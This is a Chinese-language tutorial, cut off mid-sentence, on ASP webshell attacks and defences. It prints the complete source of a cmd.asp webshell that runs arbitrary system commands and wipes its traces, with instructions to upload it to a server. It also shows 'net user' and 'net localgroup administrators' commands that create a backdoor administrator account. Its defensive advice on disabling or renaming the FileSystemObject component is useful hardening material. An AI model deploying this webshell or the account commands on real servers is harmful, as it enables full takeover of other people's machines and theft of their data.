攻击与防范方法其实都是非常的简单,所以一般熟悉网页制作、还懂点CMD命令的朋友们都能学会的,在我看来没有太大的技术性可言,难度等级(初级)就是人人都可以学会的啦,但这份教程却能作为各WEB网站服务器管理员不管你是有多年的服务器管理经验还是新手,这份教程都能作为你最为有效防范WEBSHELL攻击及溢出攻击的方法参考资料。
一、基本ASP的WEBSHELL攻击与防范
以下我们以实例讲解ASP的三种Webshell攻击与防范方法(并提供webshell源代码):
例一、种使用脚本绑定CMD命令:
这是一种使用脚本绑定CMD命令的攻击方法,其实asp的webshell并不止这一种,后面还会有介绍另外两种的 webshell攻击与防范方法。只要黑客在你的服务器上放上了这种 webshell ,你又没有适当的防范方法,那么你的服务器就会惨遭毒手,成了黑客们的肉鸡了。一般遭此毒手的服务器都是虚拟主机提供商的服务器,也有属于个人或公司的服务器,黑客是怎么样把这个 webshell传到你的服务器的呢?如果是传到虚拟主机提供商的WEB空间的,一般都是虚拟主机提供商的客户自己传的^_^,因为虚拟上机提供商的客户本身就拥有上传软件的权限,并拥有 http 服务的浏览地址。客户使用这种 webshell目的一般只想看看自己租用的服务器空间上存放了些什么文件或通过这个webshell 盗窃服务器上的某些重要资料。个人或公司的服务器,黑客怎么把这个 webshell传到服务器空间上的呢?呵呵,一般是通过服务器上某个如论坛、下载系统的脚本漏洞,通过这些漏洞取得在WWW上80端口上传文件的权限或通过某些漏洞使用TFTP服务把这个webshell传到你的服务器上的,由于我们这里只讲解这些 webshell是怎么样攻击的,所以并不提及到怎么样才能把这个 webshell传到服务器的空间上,本文假设你已经把这个 webshell传到了服务器空间上,你并取得了 http 的浏览地址,只要服务器是支持 asp 的,你就能使用这个 webshell取得服务器系统的管理权了,这种后门非常隐蔽,就算你重装了N次系统,打了N的的补丁也没效,因为这个漏洞是没有补丁的^_^,只要这个 webshell 还存在,黑客找到这个 webshell的WWW浏览地址,你的服务器一样会变成黑客的肉鸡,所以危害性极大。
如下图所示,我把一个文件名叫CMD.ASP的ASP脚本WEBSHELL文件传到了一台服务器IP为192.168.0.18的服务器上,把这个文件放到了FTP根目录里的webshell文件夹下,我们就能使用http://192.168.0.18/webshell/cmd.asp 的地址访问这个 webshell 了,我们可以在那个空白的表单里输入所有的CMD命令,如dir c: 等命令,如果你想在这台服务器里建立一个超用户,可以输入两行命令,第一行输入 net user netpk hacker /add 然后点击执行CMD命令按钮,就建立了一个普通用户netpk ,再输入第二行命令, net localgroup administrators netpk /add 这样就把刚才建立的普通用户 netpk 加入了超级用户管理级 administrators 组了,通过这些,我们可以确定这个webshell 有执行所有的CMD命令权限,你想干什么,不用我教你了吧,呵呵^_^。
下面附上这个 cmd.asp 脚本的源代码:
执行命令:<br>
<%
Dim oScript
Dim oScriptnet
Dim oFileSys, oFile
Dim szCMD,szTempFile
szCMD=request.form(".cmd")
’从输入框得到cmd
On Error Resume Next
’如果出现错误,直接跳过,防止弹出错误窗口
set oScript=server.createobject("WSCRIPT.SHELL")
’建立shell(wshshell)对象
set oFileSys=server.createobject("scripting.filesystemobject")
szTempFile="C:"& oFileSys.GetTempName()
’GetTempName()是fso建立临时文件的一种方法
Call oScript.Run ("cmd.exe /c "& szCMD &">" &szTempFile,0,true)
’调用wshshell函数的run来执行命令,并把它重定向到临时文件夹中
set oFile=oFileSys.OpenTextFile(szTempFile,1,False,0)
’以读的方式打开临时文件
%>
<HTML>
<body bgcolor="#C0C0C0" text="#000000">
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行CMD命令" class=input>
</FORM>
<PRE>
<%
On Error Resume Next
response.write server.HTMLEncode(oFile.ReadAll)
’输出编码后的文件内容
oFile.close
’关闭文件
call oFileSys.DeleteFile(szTempFile,True)
’防止被抓住所以删除文件
%>
</body>
</html>
你只要把上面的代码写在记事本里,保存扩展名为 .ASP ,再传到你的虚拟主机空间就可以运行了。这种绑定CMD命令的脚本攻击防范方法有好几种,其实你如果要防范这种攻击,你只要把ASP中的FSO(Scripting.FileSystemObject)功能删除就行了,删除FSO权限方法就是在CMD的命令提示符下输入以下命令:
Regsvr32 /u c:winntsystem32scrrun.dll
注意:在实际操作的时候要更改成为你本地系统安装目录的实际路径,但是使用这种方法删除也太绝了一点,如果以后我们想使用FSO权限,那就用不了啦。所以建议不要使用这种方法删除FSO权限,
但是,显而易见,如果这样做,那么包括站点系统管理员在内的任何人都将不可以使用FileSystemObject对象了,这其实并不是站点管理人员想要得到的结果,毕竟我们使用这个对象可以实现方便的在线站台管理,如果连系统管理员都没法使用了,那可就得不偿失了,但是不禁止这个危险的对象又会给自己的站点带来安全漏洞。那么有没有两全其美的方法呢?有!具体方法如下:
我们可以做到禁止其他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象.
方法如下:
查找注册表中
HKEY_CLASSES_ROOTScripting.FileSystemObject 键值
将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为
HKEY_CLASSES_ROOTScripting.FileSystemObject2
这样,在ASP就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObjectnetpk")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。
呵呵,只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject对象的。这样,作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象,而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!
但这样做还是有一定的危害性的,因为这样配置的方法并不是十分的完善。只是简单地解决了FSO调用CMD命令和一些简单的ASP木马脚本,要知道WEBSHELL并不是只有ASP的一种,如CGI、PHP、JSP等都存在这样的WEBSHELL,如果你的服务器同时配置了支持CGI、PHP、JSP等,那可就惨了,因为如CGI等这些WEBSHELL是不须要FSO支持就能实现WEBSHELL的。所以你还得向下看,以下还有一些值得大家注意的WEBSHELL。
其实还有更简单实用的方法能防范这种使用ASP脚本绑定CMD命令的webshell,配置防范方法只须要30秒就行了,防范方法等介绍完了CGI、PHP、JSP等WEBSHELL再说,因为只要一种防范方法,就能防止这些脚本攻击及溢出攻击等,在最后我们介绍的防范方法对我们提及到的所有能绑定CMD的WEBSHELL都是能绝对能有效防范的。
例二、使用FSO权限对文件管理的WEBSHELL攻击与防范方法
以下我们介绍的是海阳顶端asp木马,这种WEBSHELL能通过网页在线更改、编辑、删除、移动、上传、下载服务器上的任意文件,只要黑客给你的服务器传上这个ASP木马,你的服务器上的所有文件就会控制在黑客的手上,黑客能在你的服务器干什么?就是上面提及到的。更改、删除、移动……
如下图所示:
看到这个图,你也能想像到你的服务器到最后会变得怎么样了,你服务器上的资料将没有隐私可言了,想黑你服务器上的主页或是删除你服务器上的文件都是点几下鼠标就能办到的了。这种ASP木马网络上各黑客网站均有下载,源代码就不便写出来了。
防范方法:和例一的一样,这里不再重述。
后语:那是不是对于ASP的WEBSHELL就是关了FSO对像或给FSO在注册表里改名就行了呢?事实并不是这样的,因为ASP木马中还有一种是不需要FSO对像支持的,功能虽然并不是很强大,但是要黑一个网站的站,功能已经是很足够的了,这种木马令人防不胜防。以下请看例三。
例三:免FSO对像就能使用的ASP木马
对于这种免FSO对像就能使用的ASP木马,由于少了FSO对像的支持,功能上当然不会很强大的了,只有浏览服务器上的文件目录,复制、移动文件、执行指定路径的程序文件等功能。值得注意的是现在的虚拟主机提供商的虚拟主机大多数都还存在这个